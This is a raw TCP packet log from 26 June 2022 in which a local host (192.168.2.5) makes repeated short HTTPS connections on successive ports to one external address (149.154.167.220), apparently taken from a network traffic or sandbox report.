Jun 26, 2022 09:33:43.093620062 CEST	443	50006	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.098861933 CEST	50006	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.098887920 CEST	443	50006	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.100116968 CEST	50006	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.100137949 CEST	443	50006	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.437666893 CEST	443	50006	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.437761068 CEST	443	50006	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.437882900 CEST	50006	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.438780069 CEST	50006	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.440684080 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.440772057 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.440917015 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.441390038 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.441418886 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.500338078 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.510555029 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.510631084 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.510910988 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.510936022 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.826958895 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.827037096 CEST	443	50007	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.827761889 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.828218937 CEST	50007	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.829781055 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.829842091 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.834300041 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.835196018 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.835225105 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.896275997 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.900198936 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.900252104 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:43.902358055 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:43.902381897 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.234239101 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.234363079 CEST	443	50008	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.234530926 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.235342026 CEST	50008	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.236730099 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.236783981 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.236895084 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.237396955 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.237427950 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.295492887 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.298549891 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.298582077 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.298681974 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.298693895 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.935653925 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.935724020 CEST	443	50009	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.935892105 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.937019110 CEST	50009	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.939204931 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.939270973 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.939435005 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.939981937 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:44.940020084 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:44.996270895 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.007145882 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.007216930 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.007443905 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.007456064 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.313014030 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.313141108 CEST	443	50010	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.317008972 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.317946911 CEST	50010	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.319344044 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.319406986 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.319495916 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.319930077 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.319962025 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.384610891 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.388726950 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.388777018 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.389070034 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.389089108 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.722403049 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.722517967 CEST	443	50011	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.727627039 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.728425026 CEST	50011	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.729878902 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.729917049 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.730233908 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.730784893 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.730804920 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.796128988 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.799801111 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.799856901 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:45.800084114 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:45.800103903 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.222490072 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.222615957 CEST	443	50012	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.225564003 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.226031065 CEST	50012	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.227628946 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.227678061 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.228198051 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.228702068 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.228728056 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.285429001 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.288172960 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.288225889 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.288712025 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.288734913 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.598165035 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.598314047 CEST	443	50013	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.598495007 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.599960089 CEST	50013	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.602386951 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.602436066 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.602595091 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.603193045 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.603210926 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.663883924 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.666901112 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.666924953 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.667277098 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.667288065 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.983552933 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.983652115 CEST	443	50014	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.983773947 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.985018015 CEST	50014	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.986917973 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.986989021 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:46.987092018 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.987951040 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:46.987982988 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.044810057 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.117512941 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.117592096 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.117679119 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.117697954 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.487047911 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.487138987 CEST	443	50015	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.487220049 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.578176022 CEST	50015	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.579857111 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.579921007 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.580018997 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.580519915 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.580543995 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.644373894 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.690237999 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.690279007 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:47.690349102 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:47.690376043 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.051666021 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.051747084 CEST	443	50016	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.051809072 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.052537918 CEST	50016	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.053860903 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.053901911 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.053973913 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.054352999 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.054368019 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.116633892 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.127511978 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.127554893 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.127633095 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.127649069 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.439558029 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.439707041 CEST	443	50017	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.439836025 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.596926928 CEST	50017	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.598445892 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.598484993 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.598592043 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.599088907 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.599106073 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.660638094 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.663271904 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.663316011 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.663420916 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.663438082 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.970964909 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.971174002 CEST	443	50018	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.971357107 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.972016096 CEST	50018	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.973660946 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.973720074 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:48.973925114 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.974240065 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:48.974268913 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.034220934 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.077518940 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.077604055 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.077689886 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.077706099 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.442451000 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.442540884 CEST	443	50019	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.442652941 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.975347996 CEST	50019	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.978530884 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.978595018 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:49.978703976 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.979345083 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:49.979370117 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.041666985 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.057379961 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.057415962 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.057512999 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.057531118 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.367531061 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.367726088 CEST	443	50020	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.367983103 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.368438005 CEST	50020	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.369757891 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.369803905 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.369908094 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.370340109 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.370362043 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.430039883 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.432868958 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.432908058 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.433010101 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.433027029 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.812943935 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.813034058 CEST	443	50021	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.813107967 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.813847065 CEST	50021	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.815237045 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.815299034 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.815396070 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.815812111 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.815843105 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.874353886 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.877429008 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.877469063 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:50.877571106 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:50.877584934 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.192358017 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.192471981 CEST	443	50022	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.192606926 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.193413973 CEST	50022	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.194823980 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.194855928 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.194962978 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.195349932 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.195367098 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.256755114 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.259347916 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.259385109 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.259483099 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.259495020 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.658735037 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.658808947 CEST	443	50023	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.658966064 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.667928934 CEST	50023	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.669614077 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.669641972 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.669779062 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.670209885 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.670221090 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.729322910 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.733514071 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.733544111 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:51.733640909 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:51.733658075 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.044945002 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.045037985 CEST	443	50025	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.045656919 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.046161890 CEST	50025	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.051176071 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.051228046 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.051314116 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.051816940 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.051834106 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.112040043 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.117547989 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.117589951 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.117698908 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.117716074 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.434221029 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.434344053 CEST	443	50026	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.434439898 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.435499907 CEST	50026	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.436954975 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.437001944 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.437103033 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.437491894 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.437515020 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.499746084 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.503922939 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.503952980 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.504024982 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.504041910 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.816281080 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.816427946 CEST	443	50028	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.816513062 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.817234993 CEST	50028	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.819119930 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.819202900 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.819289923 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.819755077 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.819793940 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.881064892 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.883829117 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.883883953 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:52.884020090 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:52.884041071 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.339570999 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.339699030 CEST	443	50029	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.339818001 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.340543032 CEST	50029	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.341944933 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.342012882 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.342118979 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.342572927 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.342605114 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.400172949 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.407969952 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.408004045 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.408071041 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.408080101 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.722284079 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.722417116 CEST	443	50030	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.722517967 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.723248005 CEST	50030	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.724627972 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.724700928 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.724800110 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.725258112 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.725287914 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.783828974 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.786461115 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.786503077 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:53.786608934 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:53.786636114 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.100116968 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.100254059 CEST	443	50031	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.100349903 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.101130962 CEST	50031	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.102586985 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.102643967 CEST	443	50032	149.154.167.220	192.168.2.5
